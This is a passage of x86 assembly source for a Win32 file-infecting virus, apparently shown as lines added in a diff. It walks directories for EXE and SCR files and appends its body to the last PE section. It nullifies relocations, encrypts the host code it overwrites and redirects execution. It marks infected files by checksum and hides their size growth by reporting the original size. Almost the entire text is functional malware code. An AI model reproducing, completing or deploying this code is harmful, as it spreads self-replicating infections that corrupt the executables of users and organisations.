-MZ_lfanew] + jecxz end_Rva2Raw + movzx ebx,word ptr [esi.NT_FileHeader \ ;get first section header + .FH_SizeOfOptionalHeader \ + -MZ_lfanew] + lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew] + x = IMAGE_SIZEOF_SECTION_HEADER + +match_virtual: ;scan each PE section header and determine if specified RVA + ;value points inside + + mov esi,eax + mov edx,[ebx.SH_VirtualAddress] + sub esi,edx + sub ebx,-x + cmp esi,[ebx.SH_VirtualSize - x] ;is RVA value pointin inside current section? + jb section_found ;yea we found the section, jump + loop match_virtual ;nope, get next section + +end_Rva2Raw: + + ret + +Rva2Raw endp + +get_handle_ofs_ebp: ;this function sets EBP register to reference internal + ; variablez correctly and also given a handle, it gets + ; a pointer to an entry in the handlez table. + ;this function is only useful at the resident stage. + ;on entry: + ; TOS+28h (Pshd.cPushad.Arg1): specified handle + ;on exit: + ; EDI = pointer to entry in handlez table + ; Carry clear, if ok + ; Carry set, if error + + xchg ecx,eax + jecxz end_gho_stc + call get_ebp2 + mov ecx,[esp.(Pshd).cPushad.Arg1] ;get handle + jecxz end_gho_stc + xchg eax,ecx + cmp ax,? + org $ - 2 + +get_handle_ofs_0: ;gets a pointer to an empty entry in the handlez table + ;this function is only useful at the resident stage. + ;on exit: + ; EDI = pointer to entry in handlez table + ; Carry clear, if ok + ; Carry set, if error + + sub eax,eax + +get_handle_ofs: ;given a handle, this function gets a pointer + ; to an entry in the handlez table. + ;this function is only useful at the resident stage. + ;on entry: + ; EAX = specified handle + ;on exit: + ; EDI = pointer to entry in handlez table + ; Carry clear, if ok + ; Carry set, if error + + lea edi,[ebp + Handlez - 8 - ebp_num] + lea edx,[edi + nHANDLEZ] + next_gho: scasd ;add edi,8 + scasd ; + cmp edx,edi ;top of handlez table reached? + jc end_gho ;yea, handle not found, jump + cmp eax,[edi] ;do handlez match? + jnz next_gho ;no, check next handle, jump + test al,? ;yea, handle found, clear carry + org $ - 1 + end_gho_stc: stc ;set carry + end_gho: ret + +section_found: + + x = IMAGE_SIZEOF_SECTION_HEADER + xchg ebp,ebx + add ebx,[ebp.SH_PointerToRawData - x] ;get RAW start of section + xchg ecx,ebp + mov ebp,[ecx.SH_SizeOfRawData - x] ;get RAW size of section + cld + ret + +get_relocs: ;this comon funtion is called from both instalation and + ; infection stage. + ;it simply locates each relocation block in the .reloc section + ; and calls a function to (a) nulify those dangerous reloca- + ; tionz in a block (infection stage) or (b) to fix the code + ; pointed to by such marked relocationz (instalation stage). + ;on entry: + ; EDI = RVA start pointer to chunk of code + ; TOS+04h (Arg1): fix_relocs label function adress (instalation stage) + ; or + ; nul_relocs label function adress (infection stage) + ; TOS+00h (return adress) + + add esi,ebx ;get start of relocation section in aplication context + add edx,edi ;get end adress of chunk code + lea ebp,[ecx+esi] ;get end of relocation section in aplication context + +process_reloc_blocks: + + lodsd + xchg ebx,eax ;get start RVA for this block of relocationz + lea ecx,[ebx + 4096] ;get end RVA where relocationz can point in a block + lodsd ;get size of reloc block + x = IMAGE_SIZEOF_BASE_RELOCATION + add eax,-x + cmp edi,ecx ;RVA pointer inside relocation block? (check low boundary) + lea ecx,[eax + esi] ;get next block adress + push ecx + jnc next_reloc_block + shr eax,1 + cmp ebx,edx ;RVA pointer inside relocation block? (check high boundary) + jnc next_reloc_block + xchg ecx,eax ;get number of relocationz for this block + jecxz next_reloc_block + + call [esp.(Pshd).Arg1] ;call fix_relocs function or nul_relocs function + +next_reloc_block: + + pop esi ;get next block adress + lea eax,[esi + x] + cmp eax,ebp ;end of relocation blockz? + jc process_reloc_blocks ;no, process the block, jump + ret (Pshd) ;yea, no more relocation blockz, return + +Process_File3: ;this function copies a filename to an internal buffer + ; and checks the extension thru a list of infectable + ; extensions (EXE and SCR filez for the moment). If + ; the extension matches, the file will be infected. + @copysz + mov edx,not 0FF202020h ;upercase mask + mov ecx,[edi-4] ;get filename extension + lea esi,[ebp + Exts - ebp_num] ;get pointer to list of extensionz + and ecx,edx ;convert file extension to upercase + +next_ext: + + lodsd ;get extension from list + dec al ;no more extensionz? + js end_PF3 + and eax,edx ;convert extension to upercase + dec esi + xor eax,ecx ;do extensionz match? + jnz next_ext + cmp byte ptr [edi-5],'.' + jnz end_PF3 ;no, get next extension + call Process_File2 ;yes, extensionz match, infect file + +end_PF3: ret + +err_Rva2Raw: + + popad ;needed to unwind the stack from some function + +err_Rva2Raw2: + + popad ;needed to unwind the stack from some function + ret + +Attach proc ;attach virus code to last section in the PE file and + ; change section characteristicz to reflect infection. + ;on entry: + ; ECX = base of memory-maped file + ; EDI = original file size + ;on exit: + ; EDI = new file size + + lea esi,[ecx.MZ_lfanew] ;get base of PE header + 3Ch + mov eax,[ebp + pcode_start - ebp_num] ;get start adress of virus code + add esi,[esi] + mov edx,[esi.NT_OptionalHeader \ ;get built-in image base + .OH_ImageBase \ + -MZ_lfanew] + pushad ;save valuez to stack + xor eax,eax + x = IMAGE_SIZEOF_SECTION_HEADER + sub al,-x + mul byte ptr [esi.NT_FileHeader \ ;get number of sectionz + .FH_NumberOfSections \ + -MZ_lfanew] + add ax,word ptr [esi.NT_FileHeader \ ;get first section header + .FH_SizeOfOptionalHeader \ + -MZ_lfanew] + jc err_Rva2Raw2 + lea ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax] + mov eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew] + mov edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew] + dec eax + dec edx + or eax,edx ;check SectionAlignment and FileAlignment fieldz + cmp eax,10000h + jnc err_Rva2Raw2 ;too large? + add edi,ecx ;get end of file in MM-file + inc al + jnz err_Rva2Raw2 + mov eax,[ebx.SH_VirtualAddress - x] + mov ebp,ecx ;get MM-file base address + add eax,edi + add ecx,[ebx.SH_PointerToRawData - x] + sub eax,ecx ;get new RVA entry point + +;at this point: +; +; cPushad.EAX = source adress of code to copy (start at encrypted stringz) +; cPushad.EBX = embedded (in PE header) host base address +; EBP = start of MM-file. Base address of MM-file +; EAX = new RVA entry point (start of virus code RVA) +; EDX = file alignment - 1 +; EDI = target adress where code will be copied to in the MM-File +; ECX = start adress of last section in the MM-file +; EBX = start adress of last section header (plus section header size) +; in the MM-file +; ESI = start of PE header (+ 3Ch) in the MM-file + + pushad + mov eax,[esi.NT_OptionalHeader \ ;get current entry point + .OH_AddressOfEntryPoint \ + -MZ_lfanew] + +;on entry: +; +; EAX = Host EntryPoint RVA +; EBP = start of MZ header (start of MM-file) +; ESI = start of PE header + 3Ch (in MM-file) + + call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside) + +;on exit: +; +; EBP = raw size of CODE section +; EBX = raw start of CODE section +; ECX = 0, if not found +; start of CODE section header (+ section header size), if found +; EDX = start of CODE section RVA +; ESI = relative delta of RVA inside CODE section. + + jecxz err_Rva2Raw ;code section not found, invalid EntryPoint + pushad + mov ebp,esp + mov edx,[ebp.(2*cPushad).Pushad_ebp] ;get original ebp + x = IMAGE_SIZEOF_SECTION_HEADER + or byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h ;set exec bit to section + +exec_set: + + mov esi,[edx + ImportHdr - ebp_num] ;get import section header + xor ecx,esi ;is import table inside code section? + jz IT_in_Code ;yea, jump + + ;import table NOT inside code section (i.e. probably exists an .idata section) + + or byte ptr [esi.SH_Characteristics.hiw.hib - x],80h ;set writable bit + +IT_in_Code: ;import table is inside code section (stupid microsoft) + ;no need to set the writable bit (the exec bit does the job) + + sub ecx,ecx + push edi ;need this value l8r, push it + mov cl,5 + sub eax,0B2FD26A3h +sub_1st_val = dword ptr $ - 4 + add edi,ecx ;add edi,5 + stosd + push edi + mov eax,ecx ;ax = 5 + stosw + sub al,- 0e9h + 5 ;al = E9h + stosb + mov eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code + sub eax,[ebp.Pushad_eax] + sub eax,ecx ;sub eax,5 + stosd + xor eax,eax + pop esi + stosw ;0 + mov edi,[ebp.Pushad_eax] + +nulify_relocs: ;nulify relocs that could overwrite our inserted chunks of code.. + + push edi + lodsw + cwde + pushad + mov esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch) + mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz + .OH_DirectoryEntries \ + .DE_BaseReloc \ + .DD_Size \ + -MZ_lfanew] + jecxz go_popad ;no relocationz, jump + push eax ;save size of this chunk of code temporarily + push ecx + mov ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header) + mov eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz + .OH_DirectoryEntries \ + .DE_BaseReloc \ + .DD_VirtualAddress \ + -MZ_lfanew] + call Rva2Raw ;convert RVA to a raw offset inside the section + pop eax + pop edx ;retrieve size of this chunk of code temporarily + jecxz go_popad + xchg ecx,eax + call mark_reloc ;pass nul_relocs as a parameter to get_relocs function + +nul_relocs: + + lodsw ;get relocation item + cwde + ror eax,3*4 + add al,- IMAGE_REL_BASED_HIGHLOW ;check relocation type + jnz n_next_reloc ;not valid, get next relocation item + shr eax,5*4 ;strip or blank relocation type field from relocation item + lea eax,[eax + ebx + 4] ;convert relocation pointer to RVA + cmp edi,eax ;check if relocation points to our chunk of code.. + jnc n_next_reloc ;check low boundary + add eax,-4 + cmp eax,edx ;check high boundary + jnc n_next_reloc ;it doesnt point to our chunk of code, get next relocation item + + ;this relocation item is pointing inside our chunk of code.. + ;nulify and mark it! + + and byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8) ;nulify relocation! + +n_next_reloc: + + loop nul_relocs ;get next relocation item + ret + +mark_reloc: + + call get_relocs + +go_popad: + + popad + xchg ecx,eax ;size of this chunk of code + add edi,[ebp.Pushad_ebx] ;convert RVA start of chunk of code to a raw value + sub edi,[ebp.Pushad_edx] + +pre_crypt: + + lodsb ;encrypt chunk of code.. + xchg [edi],al + ror al,cl + inc edi + xor al,06Ah +_xor_2nd_val = byte ptr $ - 1 + mov [esi-1],al + loop pre_crypt + lodsw ;get next chunk of code + cwde + pop edi + xchg ecx,eax ;no more chunkz? + jecxz pre_crypt_done + sub edi,ecx ;point EDI to next chunk + jmp nulify_relocs ;check relocationz, jump + +pre_crypt_done: + + sub al,-0e8h ;build 'call' instruction + pop edi + stosb + lea eax,[eax + get_base - code_start - 4 - 0e8h + esi] ; + sub eax,edi + stosd + mov cx,(v_end - code_start + 3)/4 + add eax,edi + mov edi,[ebp.cPushad.cPushad.Pushad_eax] ;get start of virus code + mov edx,[ebp.cPushad.cPushad.Pushad_edx] ;get embedded base + xchg esi,edi + rep movsd ;copy virus code + sub ecx,[ebp.cPushad.Pushad_eax] + mov [ebp.cPushad.Pushad_edi],edi + add ecx,-5 + mov [eax + old_base - get_base],edx ;hardcode some valuez.. + mov [eax + delta_host - get_base],ecx + popad + popad + + x = IMAGE_SIZEOF_SECTION_HEADER + + sub edi,ecx ;change characteristicz of last section in the PE header.. + lea ecx,[edx + edi] + xchg edx,eax + inc eax + cdq ;edx=0 + xchg ecx,eax + div ecx ;calculate new size of last section + mul ecx + xchg eax,edi + mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew] + sub eax,v_end - virtual_end + cmp [ebx.SH_VirtualSize - x],eax ;calculate new virtual size of last section + jnc n_vir + mov [ebx.SH_VirtualSize - x],eax + n_vir: dec eax + mov [ebx.SH_SizeOfRawData - x],edi ;update size of last section + add eax,ecx + div ecx + mul ecx + pop ebp ;get original file size + add eax,[ebx.SH_VirtualAddress - x] + cmp [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax ;update size of image field in the PE header + jnc n_img + mov [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax + n_img: add edi,[ebx.SH_PointerToRawData - x] + sub ecx,ecx + or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h ;change section flagz + push ebp + mov eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew] ;calculate special checksum to mark infected filez + xor ebp,eax + add al,-2Dh + xor ebp,0B2FD26A3h xor 0D4000000h + not al + xor al,ah + shl ebp,6 + xor al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew] + shr al,2 + shld eax,ebp,3*8+2 + mov [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax ;store checksum value + pop eax ;get original file size + mov cl,65h + cmp eax,edi ;calculate new file size.. + .if carry? + xchg edi,eax + .endif + sub eax,1 - 65h + div ecx + mul ecx ;use size paddin.. + push eax + +end_Attach: + + popad + +needed_ret: + + ret + +Attach endp + +Process_Dir: ;this function receives a pointer to an asciiz string + ; containin a path, then it searches filez with an extension + ; matchin the list of extensionz, and finaly infects them. + ;on entry: + ; EDI = pointer to pathname + ; EAX = size of pathname + + dec eax + cmp eax,7Fh + jnc needed_ret ;if pathname greater than 7Fh characterz, jump + pushad + mov esi,edi + adc edi,eax + cld + mov al,'\' ;add '\' to the pathname if not included + cmp [edi-1],al + jz Find_Filez + stosb + +Find_Filez: ;find filez in the specified pathname.. + + push edi + sub eax,'\' - '*.*' + stosd + call findfirst ;find each file "*.*" in the path + pop edi + jz end_Attach ;if error, jump + dec eax + push eax ;save search handle + +Process_File: ;a file was found, process it + + push edi + lea esi,[ebx.WFD_szFileName] ;get filename + call Process_File3 ;process file, infect it + +Find_Next: + + pop edi + pop eax + push eax + push ebx + push eax + call [ebp + ddFindNextFileA - ebp_num] ;find next file + test eax,eax ;more filez? + jnz Process_File ;yea, process it, jump + +Find_Close: + + call [ebp + ddFindClose - ebp_num] ;close search + +end_Find: + +end_Process_Dir: + + popad + ret + +APICall@n_2: mov cl,2 ;call an API and pass two parameterz + +APICall@n proc ;this function calls an API and passes "n" parameterz + ; as argumentz + ;on entry: + ; EAX = API function adress + ; ECX = number of paremeterz + + pushfd + movzx edx,cl + mov ecx,edx + push_args: push dword ptr [esp.(2*Pshd) + 4*edx] ;push parameter + loop push_args + call eax ;call API + popfd + ret +APICall@n endp + +IGetProcAddressIT: + + pop edx + push eax + lea eax,[ebp + vszKernel32 - ebp_num] + push eax + push edx + +GetProcAddressIT proc ;gets a pointer to an API function from the Import Table + ; (the object inspected is in raw form, i.e. memory-maped) + ;on entry: + ; TOS+08h (Arg2): API function name + ; TOS+04h (Arg1): module name + ; TOS+00h (return adress) + ;on exit: + ; EAX = RVA pointer to IAT entry + ; EAX = 0, if not found + + pushad + + lea esi,[ecx.MZ_lfanew] + mov ebp,ecx ;get KERNEL32 module handle + add esi,[esi] ;get address of PE header + MZ_lfanew + mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory + .OH_DirectoryEntries \ + .DE_Import \ + .DD_Size \ + -MZ_lfanew] + jecxz End_GetProcAddressIT2 ;if size is zero, no API imported! + mov eax,[esi.NT_OptionalHeader \ ;get address of Import directory + .OH_DirectoryEntries \ + .DE_Import \ + .DD_VirtualAddress \ + -MZ_lfanew] + call Rva2Raw ;find size and raw start of import section + jecxz End_GetProcAddressIT + push esi + mov eax,[esp.(Pshd).Pushad_ebp] + mov [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header for l8r use + x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR + +Get_DLL_Name: ;scan each import descriptor inside import section to match module name specified + + pop esi ;diference (if any) between start of import table and start of import section + mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imported module name + +End_GetProcAddressIT2: + + jecxz End_GetProcAddressIT ;end of import descriptorz? + sub ecx,edx ;convert RVA pointer to RAW + cmp ecx,ebp ;check if it points inside section + jae End_GetProcAddressIT + sub esi,-x + push esi ;save next import descriptor for later retrieval + lea esi,[ebx + ecx] + mov edi,[esp.(Pshd).cPushad.Arg1] ;get module name specified from Arg1 + +Next_char_from_DLL: ;do a char by char comparison with module name found inside seccion + ;stop when a NULL or a dot '.' is found + lodsb + add al,-'.' + jz IT_nup ;its a dot + sub al,-'.'+'a' + cmp al, 'z'-'a'+ 1 + jae no_up + add al,-20h ;convert to upercase + no_up: sub al,-'a' +IT_nup: scasb + jnz Get_DLL_Name ;namez dont match, get next import descriptor + cmp byte ptr [edi-1],0 + jnz Next_char_from_DLL + +Found_DLL_name: ;we got the import descriptor containin specified module name + + pop esi + lea eax,[edx + esi.ID_ForwarderChain - x] + add esi,ebx + mov [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for later use + mov [esp.Pushad_esi],esi ;store pointer to import descriptor for later use + push dword ptr [esp.cPushad.Arg2] + mov eax,[esp.(Pshd).Pushad_ebp] + push dword ptr [eax + K32Mod - ebp_num] + call GetProcAddressET ;scan export table of specified module handle + xchg eax,ecx ;and get function adress of specified API + mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API function adressez are bound in the IAT + jecxz End_GetProcAddressIT ;if not found then go, this value cant be zero or the IAT wont be patched + push eax + call GetProcAddrIAT ;inspect first thunk (which later will be patched by the loader) + test eax,eax + jnz IAT_found ;if found then jump (save it and go) + mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later will hold the original unpatched IAT) + jecxz End_GetProcAddressIT ;if not found then go, this value could be zero + push eax + call GetProcAddrIAT ;inspect original thunk + test eax,eax + jz IAT_found ;jump if not found + sub eax,ecx ;we got the pointer + add eax,[esi.ID_FirstThunk - x] ;convert it to RVA + db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P + org $ - 2 + +End_GetProcAddressIT: + + db 33h,0C0h ;xor eax,eax ;error, adress not found + +IAT_found: + + mov [esp.Pushad_eax],eax ;save IAT entry pointer + popad + ret (2*Pshd) ;jump and unwind parameterz in stack + +findfirst: ;this function is just a wraper to the FindFistFileA API.. + + lea ebx,[ebp + FindData - ebp_num] + push ebx ;args for findfirst + push esi ;args for findfirst + call [ebp + ddFindFirstFileA - ebp_num] ;call FindFirstFileA API + +end_findfirst: + + inc eax + cld + ret + +get_size: ;this function retrieves the file size and discards + ; huge filez, it also sets some parameterz for l8r use + ;on entry: + ; EBX = pointer to WIN32_FIND_DATA structure + ;on exit: + ; EAX = file size + ; ESI = pointer to filename + ; Carry clear: file ok + ; Carry set: file too large + + xor ecx,ecx + test byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY + jnz get_size_ret ;discard directory entriez + mov edx,ecx + cmp [ebx.WFD_nFileSizeHigh],edx ;discard huge filez, well if any thaat big (>4GB) + mov cl,65h ;load size padin value + lea esi,[ebp + PathName - ebp_num] ;get pointer to filename + mov eax,[ebx.WFD_nFileSizeLow] ;get file size + +get_size_ret: + + ret + +GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords" + ; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for + ; the selected API name. This function works for both + ; bound and unbound import descriptorz. This function is + ; called from inside GetProcAddressIT. + ;on entry: + ; EBX = RAW start pointer of import section + ; ECX = RVA pointer to IMAGE_THUNK_ARRAY + ; EDX = RVA start pointer of import section + ; EDI = pointer selected API function name. + ; EBP = RAW size of import section + ; TOS+04h (Arg1): real address of API function inside selected + ; module (in case the descriptor is unbound). + ; TOS+00h (return adress) + ;on exit: + ; EAX = RVA pointer to IAT entry + ; EAX = 0, if not found + + push ecx + push esi + sub ecx,edx + xor eax,eax + cmp ecx,ebp + jae IT_not_found + lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array + +next_thunk_dword: + + lodsd ;get dword value + test eax,eax ;end of IMAGE_THUNK_DATA array? + jz IT_not_found + +no_ordinal: + + sub eax,edx ;convert dword to a RAW pointer + cmp eax,ebp ;dword belongs to an unbound image descriptor? + jb IT_search ;no, jump + add eax,edx ;yea, we have the API adress itself, reconvert to RVA + cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match? + jmp IT_found? ;yea, we found it, jump + +IT_search: + + push esi ;image descriptor contains imports by name + lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor + mov edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter + +IT_next_char: ;find requested API from all imported API namez.. + + cmpsb ;do APIz match? + jnz IT_new_search ;no, continue searchin + +IT_Matched_char: + + cmp byte ptr [esi-1],0 + jnz IT_next_char + +IT_new_search: + + pop esi ;yea, they match, we found it + +IT_found?: + + jnz next_thunk_dword + lea eax,[edx+esi-4] ;get the pointer to the new IAT entry + sub eax,ebx ;convert it to RVA + +IT_not_found: + + pop esi + pop ecx + ret (Pshd) + +GetProcAddressIT ENDP + +check_PE_file: ;this function opens, memory-maps a file and checks + ; if its a PE file + ;on entry: + ; EBX = pointer to WIN32_FIND_DATA structure + ; ESI = pointer to filename + ;on exit: + ; ESI = 0, file already infected or not infectable + ; ESI != 0, file not infected + + call Open&MapFile ;open and memory-map the file + jecxz end_PE_file + mov eax,[ebx.WFD_nFileSizeLow] ;get file size + add eax,-80h + jnc Close_File ;file too short? + +Check_PE_sign: ;this function checks validity of a PE file. + ;on entry: + ; ECX = base address of memory-maped file + ; EBX = pointer to WIN32_FIND_DATA structure + ; EAX = host file size - 80h + ;on exit: + ; ESI = 0, file already infected or not infectable + ; ESI != 0, file not infected + + cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature + jnz Close_File + mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format + cmp eax,edi ;ptr out of range? + jb Close_File + add edi,ecx + cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature + jnz Close_File + cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ machine + IMAGE_FILE_MACHINE_I386 + jnz Close_File + mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics] + not al + test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but cant be a DLL + IMAGE_FILE_DLL + jnz Close_File + + ;at this point, calculate virus checksum to make sure file is really + ;infected. If its infected then return original size of host previous + ;to infection and store it in the WIN32_FIND_DATA structure (stealth). + + mov eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field + push eax + sub al,2Dh ;calculate virus checksum to make sure file is really infected + xor ah,al + mov al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib] + xor ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw] + and al,11111100b + xor ah,al + mov [ebp + uni_or_ansi - ebp_num],ah + inc ah + pop eax + jnz go_esi + xor eax,0B2FD26A3h xor 68000000h + xor eax,[edi.NT_FileHeader.FH_TimeDateStamp] + and eax,03FFFFFFh + cmp eax,[ebx.WFD_nFileSizeLow] + jnc go_esi + mov [ebx.WFD_nFileSizeLow],eax ;return original file size +go_esi: inc esi ;set "already infected" mark + +Close_File: + + call Close&UnmapFile ;close and unmaps file + +end_PE_file: + + dec esi + ret + +pop_ebp: ;get the ebp_num value needed to access variablez thru EBP + pop ebp + if (ebp_num - m_ebp) + lea ebp,[ebp + ebp_num - m_ebp] + endif + mov [ebp + uni_or_ansi - ebp_num],al + cld + +another_ret: + + ret + +Process_File2: ;this function checks the file size, retrieves some key API + ; adressez from inside the import table and infects the file. + ;on entry: + ; EBX = pointer to WIN32_FIND_DATA structure + ; ESI = pointer to filename + + call get_size + jnz another_ret ;if file size too short, jump + cmp eax,4000000h - 10*1024 + jnc another_ret ;if file size too large (>64MB), jump + div ecx ;check infection thru size paddin + dec edx + js another_ret ;already infected, jump + call check_PE_file ;open file, check PE signature and close file + jnz another_ret ;not valid PE file, jump + inc byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file + jz another_ret ;discard if infected + +Bless: ;this function prepares the host file for infection: blank file + ; atributez, open and map file in r/w mode, retrieves RVA pointerz + ; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call + ; the "Attach" function to infect the file and finaly restore + ; date/time stamp and attributez + + push esi + lea esi,[ebp + PathName - ebp_num] ;get pointer to filename + push esi + call [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez + xchg ecx,eax + jecxz another_ret ;if error, jump, if disk is write-protected for example + push esi + mov edi,virtual_end - code_start ;calculate buffer size needed for infection + add edi,[ebx.WFD_nFileSizeLow] ;add to original size + call Open&MapFileAdj ;open and map file in read/write mode + jecxz end_Bless2 ;if any error, if file is locked for example, jump + + lea eax,[ebp + vszGetModuleHandleA - ebp_num] + call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table + test esi,esi + jz end_Bless3 ;if KERNEL32 import descriptor not found, dont infect + + x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR + + mov [ebp + ptrForwarderChain - ebp_num],edx ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor + mov edx,[esi.ID_ForwarderChain - x] + mov [ebp + ddGetModuleHandleA - ebp_num],eax ;store RVA pointer to GetModuleHandleA API + mov [ebp + ddForwarderChain - ebp_num],edx ;store actual ForwarderChain field value from KERNEL32 import descriptor + cdq ;edx=0 + dec eax ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed) + jns StoreHandleW + lea eax,[ebp + vszGetModuleHandleW - ebp_num] + call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in the import table + xchg eax,edx + test edx,edx ;if found, jump and store GetModuleHandleW RVA pointer + jnz StoreHandleW + + cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API adressez are binded + jz StoreHandleW + cmp edx,[esi.ID_OriginalFirstThunk - x] + jz end_Bless3 + mov [esi.ID_TimeDateStamp - x],edx + +StoreHandleW: + + mov [ebp + ddGetModuleHandleW - ebp_num],edx ;store RVA pointer to GetModuleHandleW API + lea eax,[ebp + vszGetProcAddress - ebp_num] + call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table + mov [ebp + ddGetProcAddress - ebp_num],eax ;store RVA pointer to GetModuleHandleW API if found, store zero if not found anywayz + + call Attach ;infect file + ;at this point: + ; ECX = host base adress, start of memory-maped file + ; EDI = original file size + +end_Bless3: + + call Close&UnmapFileAdj ;close, unmap file and restore other setingz if necesary + +end_Bless2: + + pop esi ;get pointer to filename + mov ecx,[ebx.WFD_dwFileAttributes] ;get original file atributez + jecxz end_Bless1 + push ecx + push esi + call [ebp + ddSetFileAttributesA - ebp_num] ;restore original file atributez + +end_Bless1: + +end_Process_File2: + + ret + +GetProcAddressET proc ;This function is similar to GetProcAddressIT except + ; that it looks for API functions in the export table + ; of a given DLL module. It has the same functionality + ; as the original GetProcAddress API exported from + ; KERNEL32 except that it is able to find API + ; functions exported by ordinal from KERNEL32. + ;on entry: + ; TOS+08h (Arg2): pszAPIname (pointer to API name) + ; TOS+04h (Arg1): module handle/base address of module + ; TOS+00h (return adress) + ;on exit: + ; ECX = API function address + ; ECX = 0, if not found + + pushad + @SEH_SetupFrame + mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1 + mov ebx,eax + add eax,[eax.MZ_lfanew] ;get address of PE header + mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory + .OH_DirectoryEntries \ + .DE_Export \ + .DD_Size] + jecxz Proc_Address_not_found ;size is zero, no API exported + mov ebp,ebx ;get address of Export directory + add ebp,[eax.NT_OptionalHeader \ + .OH_DirectoryEntries \ + .DE_Export \ + .DD_VirtualAddress] +ifdef Ordinal + mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2 + test eax,-10000h ;check if Arg2 is an ordinal + jz Its_API_ordinal +endif + +Its_API_name: + + push ecx + mov edx,ebx ;get address of exported API namez + add edx,[ebp.ED_AddressOfNames] + mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API namez + xor eax,eax + cld + +Search_for_API_name: + + mov esi,ebx ;get address of next exported API name + add esi,[edx+eax*4] + mov edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2 + +Next_Char_in_API_name: + + cmpsb ;find requested API from all exported API namez + jz Matched_char_in_API_name + inc eax + loop Search_for_API_name + pop eax + +Proc_Address_not_found: + + xor eax,eax ;API not found + jmp End_GetProcAddressET + +ifdef Ordinal + +Its_API_ordinal: + + sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e. convert it to an index + jmp Check_Index +endif + +Matched_char_in_API_name: + + cmp byte ptr [esi-1],0 ;end of API name reached ? + jnz Next_Char_in_API_name + pop ecx + mov edx,ebx ;get address of exported API ordinalz + add edx,[ebp.ED_AddressOfOrdinals] + movzx eax,word ptr [edx+eax*2] ;get index into exported API functionz + +Check_Index: + + cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index + jae Proc_Address_not_found + mov edx,ebx ;get address of exported API functionz + add edx,[ebp.ED_AddressOfFunctions] + add ebx,[edx+eax*4] ;get address of requested API function + mov eax,ebx + sub ebx,ebp ;take care of forwarded API functionz + cmp ebx,ecx + jb Proc_Address_not_found + +End_GetProcAddressET: + + mov [esp.(2*Pshd).Pushad_ecx],eax ;set requested Proc Address, if found + @SEH_RemoveFrame + popad + jmp Ret2Pshd + +GetProcAddressET endp + +goto_GetProcAddressET: + + jmp GetProcAddressET + +MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress + ; API. It retrieves the address of an API function + ; exported from KERNEL32. + ;on entry: + ; EBX = KERNEL32 module handle + ; ESI = pszAPIname (pointer to API name) + ;on exit: + ; ECX = API function address + ; ECX = 0, if not found + + pop eax + push esi + push ebx + push eax + +MyGetProcAddress proc ;this function retrieves API adressez from KERNEL32 + + mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT +ddGetProcAddress = dword ptr $ - 4 + jecxz goto_GetProcAddressET + push esi + push ebx + add ecx,[ebp + phost_hdr - ebp_num] + call [ecx] ;call the original GetProcAddress API + xchg ecx,eax + jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function + +Ret2Pshd: + + ret 